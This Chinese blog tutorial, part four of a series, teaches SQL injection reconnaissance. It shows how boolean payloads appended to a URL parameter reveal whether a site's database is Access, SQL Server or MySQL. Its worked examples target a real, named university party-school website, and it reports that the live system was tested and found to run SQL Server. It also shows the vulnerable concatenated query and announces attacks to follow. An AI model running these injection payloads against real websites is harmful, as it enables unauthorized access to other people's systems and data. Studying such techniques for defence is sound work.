读书人

SQL注入网络安全有关问题不容忽视

发布时间: 2012-09-25 09:55:59 作者: rapoo

SQL注入——网络安全问题不容忽视!(四)

?

?我们接着讲对数据库系统表的攻击 。

?

我们还是以中南大学党校管理系统为例子。

?

http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41??? and? 1=1

?

?

如果后台是有漏洞的? 后台代码如下写

?

String  id=request.getparameter("id");     select  * from   table  where id = id;  

?

?

那么此时得到的id? 为? 41 and 1=1

?

? 执行的sql语句为

?

select * from table where id=41 and 1=1

?

?? ?这种情况id=41存在的话。那么where后面的语句总是执行为对的。

?

??? 首先我们攻击的第一步需要知道它是什么类型的数据库

?

? access? 的msysobjects? 这个在默认情况下不能访问

?

??sql server 的sysobjects 在默认情况下可以访问?

?

? mysql? 的user 在默认情况下可以访问

?

? ?

?? http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41??? and? (select count(*)? from sysobjects )>0

?

?如何执行这个的效果和不加select count(*) 语句出现的页面效果一致的话,那么此系统为sqlserver。

?

?

?

后台的sql语句执行代码如下

?

?

?

?

select  * from table where id=41 and (select count(*) from  sysobjects) >0

?

?? 那么此时where条件成立则和id=41出现的页面是一致的。

?

? 而如果

? http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects )>0

? http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from msysobjects )>0

?

都执行不成功的话,那么则考虑是不是access 。?

?

?

如果执行下述代码成功的话,则为mysql

?

mysql> select * from admin where (select count(*) from mysql.user)>0;+----+-------+-------+| id | name  | pwd   |+----+-------+-------+|  1 | admin | admin |+----+-------+-------+1 row in set (0.12 sec)

?

也就是url写成

?

http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from?mysql.user )>0

?

这种情况下返回的页面还和id=41一样的话那么。则此系统为mysql 。

?

中南大学党校管理管理系统经测试是用sqlserver做数据库的。

?

?

其实,我们根据经验可以想想 。现在国内70%以上的网站是用asp做的。而asp是微软做的。此外。access和sqlserver也都是微软做的。所以的话我们根据这个依据。有理由相信asp页面的关联数据库是access和sqlserver两个中的一个。而不是非微软制造的mysql。

?

如果是php页面那么我们就考虑mysql。而如果是jsp的话,那么考虑mysql的情况也是比较多的。

?

这一章讲了如何查看该网站所使用的数据库类型。

?

下节讲就对sqlserver数据库进行攻击。

?

?

?

?

?

?

?

?

?

读书人网 >服务器安全

热点推荐